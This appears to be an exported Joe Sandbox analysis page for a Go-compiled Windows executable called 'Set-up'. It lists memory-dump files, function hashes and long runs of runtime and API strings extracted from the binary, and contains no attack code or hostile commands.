interface conversion: internal inconsistencyinvalid number base %dkernel32.dll not foundminpc or maxpc invalidmissing ']' in addressnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledprotocol not availableprotocol not suppo, xrefs: 00D45CBD, 00D45E79, 00D45F27

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: $ (types from different packages)!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~28421709430404007434844970703125: day-of-year does not match dayCOFF symbol offset out of boundsCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyGetVolumePathNamesForVolumeNameWMapI$ (types from different scopes) in prepareForSweep; sweepgen locals stack map entries for 227373675443232059478759765625Central European Standard TimeCentral Standard Time (Mexico)CertDeleteCertificateFromStoreE. South America Standard TimeEastern Standard Tim$ is lr: of on pc= sp: sp=) = ) m=+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1$ is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStore$ is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqua$, not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMIPS16ModuleMondayNativeRejangSCHED STREETStringSundaySyriacTa$: missing method ARM little endianAdjustTokenGroupsAssemblyProcessorCertFindExtensionCreateFileMappingCreateStdDispatchCryptDecodeObjectDispGetIDsOfNamesDllGetClassObjectDllRegisterServerDnsRecordListFreeFLE Standard TimeGC assist markingGMT Standard TimeGTB S$interface conversion: internal inconsistencyinvalid number base %dkernel32.dll not foundminpc or maxpc invalidmissing ']' in addressnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledprotocol not availableprotocol not suppo$interfaceinterruptinvalid nipv6-icmpmSpanDeadmSpanFreentdll.dllole32.dllomitemptypanicwaitpclmulqdqpreemptedprintablepsapi.dllrecover: : rwxrwxrwxscavtracestackpooltracebackunderflowwbufSpans} stack=[ MB goal, flushGen gfreecnt= pages at ptrSize= ru
API String ID: 0-365028384
Opcode ID: d7723f260f96dfb24455844682669875a07731488abd32545342f22acc6a16d9
Instruction ID: c19eedad85370937f44da0f8eb74534111ba5711115a2cca509b024cf708db4f
Opcode Fuzzy Hash: d7723f260f96dfb24455844682669875a07731488abd32545342f22acc6a16d9
Instruction Fuzzy Hash: 55A199B49087409FD318DF28D090A5ABBF1BB88750F50892EF9D987351DB75E948CF62

Function 00D70820 Relevance: 12.7, Strings: 10, Instructions: 172COMMON

Download Yara Rule

Strings

%, xrefs: 00D70B44
,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-, xrefs: 00D709E5
runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=scavengeOne called with unaligned work regiontransform: input and output are not identicalw must be at least 2 by the definition of NAFx509: IP constraint contained inval, xrefs: 00D70AAC
runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtoo many open filesunexpected g statusunknown Go type: %vunknown hash value unknown wait reasonwinmm.dll not foundx509: malform, xrefs: 00D709BB
: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=scavengeOne called with unaligned work regiontransform: input and output are not identicalw must be at least 2 by the definit, xrefs: 00D70B07
VirtualQuery for stack base failedadding nil Certificate to CertPool : invalid buffer overlap : missing public modulusdoaddtimer: P already set in timerforEachP: sched.safePointWait != 0invalid padding bits in BIT STRINGmspan.ensureSwept: m i, xrefs: 00D70A85
CreateWaitableTimerEx when creating timer failedbufio: writer returned negative count from Writecould not find GetSystemTimeAsFileTime() syscall : failed to generate random pointinvalid certificate header in security directorynot enough significa, xrefs: 00D70AE0
: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextptoo many Additionals to pack (>65535)too many Authorities to pack (>65535)v, xrefs: 00D70B3B
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:, xrefs: 00D70A51
bad g0 stackbad recoverycan't happencas64 failedchan receivedumping heapend tracegcentersyscallexit status freeaddrinfogcBitsArenasgcpacertraceharddecommithost is downillegal seekinvalid baseinvalid slotiphlpapi.dllkernel32.dllmadvdontneedmheapSpecialmspanSpe, xrefs: 00D70A2A

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: : duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=scavengeOne called with unaligned work regiontransform: input and output are not identicalw must be at least 2 by the definit$ : duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextptoo many Additionals to pack (>65535)too many Authorities to pack (>65535)v$%$,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-$CreateWaitableTimerEx when creating timer failedbufio: writer returned negative count from Writecould not find GetSystemTimeAsFileTime() syscall : failed to generate random pointinvalid certificate header in security directorynot enough significa$VirtualQuery for stack base failedadding nil Certificate to CertPool : invalid buffer overlap : missing public modulusdoaddtimer: P already set in timerforEachP: sched.safePointWait != 0invalid padding bits in BIT STRINGmspan.ensureSwept: m i$bad g0 stackbad recoverycan't happencas64 failedchan receivedumping heapend tracegcentersyscallexit status freeaddrinfogcBitsArenasgcpacertraceharddecommithost is downillegal seekinvalid baseinvalid slotiphlpapi.dllkernel32.dllmadvdontneedmheapSpecialmspanSpe$runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=scavengeOne called with unaligned work regiontransform: input and output are not identicalw must be at least 2 by the definition of NAFx509: IP constraint contained inval$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime:$runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtoo many open filesunexpected g statusunknown Go type: %vunknown hash value unknown wait reasonwinmm.dll not foundx509: malform
API String ID: 0-3267003949
Opcode ID: ae65f451c7f1d64336d707bc8799a64129d157f9d0180dd5115fe8a9d49ac991
Instruction ID: b2921a3a3a14f7744685f27bd49d03f37ca68ff4255d32ed6a4e46dbe7e7d407
Opcode Fuzzy Hash: ae65f451c7f1d64336d707bc8799a64129d157f9d0180dd5115fe8a9d49ac991
Instruction Fuzzy Hash: 9B81CDB45097458FD300EF68E18575ABBE0EF88704F44892DE8888B396E7B899449F63

Function 00D501E0 Relevance: 12.6, Strings: 10, Instructions: 120COMMON

Download Yara Rule

Strings

+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D502B1
>, xrefs: 00D50275
objectpopcntrdtscpreadatsecondselectsendtosocketstringstructsweep sysmontelnettimersuint16uint32uint64 (scan (scan) MB in Value> allocs dying= locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5., xrefs: 00D502F6
runtime: found in object at *(runtime: impossible type kind socket operation on non-socketsync: inconsistent mutex statesync: unlock of unlocked mutextransform: short source bufferx509: SAN dNSName is malformedx509: invalid ECDSA parametersx509: malformed issu, xrefs: 00D50287
found bad pointer in Go heap (incorrect use of unsafe or cgo?) : on an invalid notinheap pointerruntime: internal error: misuse of lockOSThread/unlockOSThreadunhandled exception when parsing data directory %s, reason: %vx509: certif, xrefs: 00D5026C
runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version, xrefs: 00D50203
to unallocated span37252902984619140625Arabic Standard TimeAssemblyRefProcessorAzores Standard TimeCertFindChainInStoreCertOpenSystemStoreWChangeServiceConfigWCheckTokenMembershipCreateProcessAsUserWCryptAcquireContextWEgyptian_HieroglyphsEnumProcessModulesEx, xrefs: 00D50344
to unused region of span!#$%&'()-@^_`{}~+,.;=[]\/2006-01-02T15:04:05Z07:002910383045673370361328125ARM Thumb-2 little endianAUS Central Standard TimeAUS Eastern Standard TimeAfghanistan Standard TimeExpandEnvironmentStringsWFindNextVolumeMountPointWFindVolume, xrefs: 00D50407
span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM image, xrefs: 00D50376
span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMutexWDeclSecurityDispCallFuncDispGetParamECDSA-SH, xrefs: 00D503A0

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM image$ span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMutexWDeclSecurityDispCallFuncDispGetParamECDSA-SH$ to unallocated span37252902984619140625Arabic Standard TimeAssemblyRefProcessorAzores Standard TimeCertFindChainInStoreCertOpenSystemStoreWChangeServiceConfigWCheckTokenMembershipCreateProcessAsUserWCryptAcquireContextWEgyptian_HieroglyphsEnumProcessModulesEx$ to unused region of span!#$%&'()-@^_`{}~+,.;=[]\/2006-01-02T15:04:05Z07:002910383045673370361328125ARM Thumb-2 little endianAUS Central Standard TimeAUS Eastern Standard TimeAfghanistan Standard TimeExpandEnvironmentStringsWFindNextVolumeMountPointWFindVolume$+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$>$found bad pointer in Go heap (incorrect use of unsafe or cgo?) : on an invalid notinheap pointerruntime: internal error: misuse of lockOSThread/unlockOSThreadunhandled exception when parsing data directory %s, reason: %vx509: certif$objectpopcntrdtscpreadatsecondselectsendtosocketstringstructsweep sysmontelnettimersuint16uint32uint64 (scan (scan) MB in Value> allocs dying= locks= m->g0= nmsys= pad1= pad2= s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.$runtime: found in object at *(runtime: impossible type kind socket operation on non-socketsync: inconsistent mutex statesync: unlock of unlocked mutextransform: short source bufferx509: SAN dNSName is malformedx509: invalid ECDSA parametersx509: malformed issu$runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version
API String ID: 0-2372745613
Opcode ID: fea81b011ab109a8e9d84e112f26eaebe9352ea6f8e9cb857c95d15a6cd2724e
Instruction ID: 3d6ae6c2e4c6ca8c901b017b68c008557f4e69cfb641e7198034a38673bb28f4
Opcode Fuzzy Hash: fea81b011ab109a8e9d84e112f26eaebe9352ea6f8e9cb857c95d15a6cd2724e
Instruction Fuzzy Hash: F851A3B4109B049FD700FF64E185B5EBBE4EF48744F85882DE8888B256E7B499489B73

Function 00D5D230 Relevance: 11.7, Strings: 9, Instructions: 425COMMON

Download Yara Rule

Strings

pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugine, xrefs: 00D5D5FE
)*+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-, xrefs: 00D5D90F
B exp.) B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:0, xrefs: 00D5D7F2
+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D5D74E, 00D5D778
B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:0024414062, xrefs: 00D5D7A2
B (goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons, xrefs: 00D5D8A6
[controller reset]bad manualFreeListbufio: buffer fullconnection refusedfaketimeState.lockfile name too longforEachP: not donegarbage collectionidentifier removedindex out of rangeinput/output errorinvalid character multihop attemptedno child processesno locks, xrefs: 00D5D938
% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicM, xrefs: 00D5D63E
exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b, xrefs: 00D5D668

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: B (goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons$ B exp.) B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:0$ B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:0024414062$ exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b$% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicM$)*+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-$+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$[controller reset]bad manualFreeListbufio: buffer fullconnection refusedfaketimeState.lockfile name too longforEachP: not donegarbage collectionidentifier removedindex out of rangeinput/output errorinvalid character multihop attemptedno child processesno locks$pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugine
API String ID: 0-668479763
Opcode ID: 03e98acabbf91e2f4566b2b3534dc2728db8c59c7f315189750d8d0d9372cd12
Instruction ID: 69cb8d3250ef1416fa1f9f97531e32bc439263fdc117752e5db71bb48579df44
Opcode Fuzzy Hash: 03e98acabbf91e2f4566b2b3534dc2728db8c59c7f315189750d8d0d9372cd12
Instruction Fuzzy Hash: AD22F674508B448FC365EF28D580A5EBBE1FF89740F058A2EE8CC97351EB70A845DB62

Function 00D5D233 Relevance: 11.6, Strings: 9, Instructions: 355COMMON

Download Yara Rule

Strings

pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugine, xrefs: 00D5D5FE
)*+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-, xrefs: 00D5D90F
